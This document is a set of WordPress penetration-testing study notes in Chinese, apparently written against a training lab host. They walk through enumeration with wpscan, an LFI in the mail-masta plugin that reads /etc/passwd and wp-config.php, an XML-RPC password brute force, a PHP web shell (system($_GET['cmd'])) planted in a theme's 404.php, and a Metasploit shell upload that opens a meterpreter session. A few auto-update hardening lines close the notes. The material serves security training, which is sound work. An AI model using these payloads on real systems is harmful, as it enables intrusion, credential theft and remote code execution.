WordPress 安全评估学习笔记

/var/www/html/
├── index.php                # WordPress 主页入口
├── license.txt              # 版本和许可证信息
├── readme.html
├── wp-activate.php          # 邮件激活处理
├── wp-admin/                # 后端管理界面和登录
├── wp-blog-header.php
├── wp-comments-post.php     # 评论提交处理
├── wp-config.php            # 数据库配置文件（敏感）
├── wp-config-sample.php     # 配置示例
├── wp-content/              # 插件、主题、媒体文件
├── wp-cron.php              # 定时任务
├── wp-includes/             # 核心库函数
├── wp-links-opml.php
├── wp-load.php              # 核心加载器
├── wp-login.php             # 登录页面（可能被重命名）
├── wp-mail.php              # 邮件处理
├── wp-settings.php          # 全局配置加载
├── wp-signup.php            # 用户注册
├── wp-trackback.php         # 反向链接
└── xmlrpc.php               # XML-RPC 接口（已被 REST API 取代）

http://<target>/wp-content/plugins/mail-masta/

curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text

Index of /wp-content/plugins/mail-masta
============================================================
Name                 Last_modified    Size  
amazon_api/          2020-05-13 18:01    -  
inc/                 2020-05-13 18:01    -  
lib/                 2020-05-13 18:01    -  
plugin-interface.php 2020-05-13 18:01  88K  
readme.txt           2020-05-13 18:01 2.2K  

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>password123</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>403</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>Incorrect username or password.</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

# Parrot OS 默认安装，或手动安装
gem install wpscan

wpscan --hh    # 显示完整帮助

wpscan --url http://blog.inlanefreight.com --enumerate --api-token YOUR_API_TOKEN

wpscan --url http://target --enumerate --api-token YOUR_TOKEN

[+] URL: http://blog.inlanefreight.com/
[+] WordPress version 5.3.2
[+] Theme: twentytwenty (outdated)
[+] Vulnerable Plugins:
  - mail-masta 1.0 (LFI, SQL Injection)
  - wp-google-places-review-slider (SQL Injection)
[+] Users Enumerated:
  - admin
  - david
  - roger

http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

curl http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

# WordPress 配置文件
?pl=/var/www/html/wp-config.php

# Web 服务器配置
?pl=/etc/apache2/apache2.conf

# 应用日志
?pl=/var/log/apache2/access.log

# 使用 xmlrpc 方法（更快）
wpscan --password-attack xmlrpc -t 20 -U admin,david -P passwords.txt --url http://blog.inlanefreight.com

[SUCCESS] - admin / sunshine1
[i] Valid Combinations Found:
  | Username: admin, Password: sunshine1

http://target/wp-admin/

<?php system($_GET['cmd']); ?>

<?php system($_GET['cmd']); ?>
/**
 * The template for displaying 404 pages (not found)
 * @link https://codex.wordpress.org/Creating_an_Error_404_Page
 */

# 执行 id 命令
curl "http://target/wp-content/themes/twentyseventeen/404.php?cmd=id"

# 输出示例
uid=1000(wp-user) gid=1000(wp-user) groups=1000(wp-user)

msfconsole

msf5 > search wp_admin
# 找到: exploit/unix/webapp/wp_admin_shell_upload [0]

msf5 > use 0
msf5 exploit(unix/webapp/wp_admin_shell_upload) >

msf5 > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                     yes       WordPress password
  RHOSTS                       yes       Target host(s)
  RPORT      80               yes       Target port
  USERNAME                     yes       WordPress username
  VHOST                        no        HTTP server virtual host

msf5 > set rhosts blog.inlanefreight.com
msf5 > set username admin
msf5 > set password Winter2020
msf5 > set lhost 10.10.16.8
msf5 > run

[+] Authenticated with WordPress
[*] Uploading payload...
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: www-data (33)

// 启用 WordPress 核心自动更新
define('WP_AUTO_UPDATE_CORE', true);

// 启用插件自动更新
add_filter('auto_update_plugin', '__return_true');

// 启用主题自动更新
add_filter('auto_update_theme', '__return_true');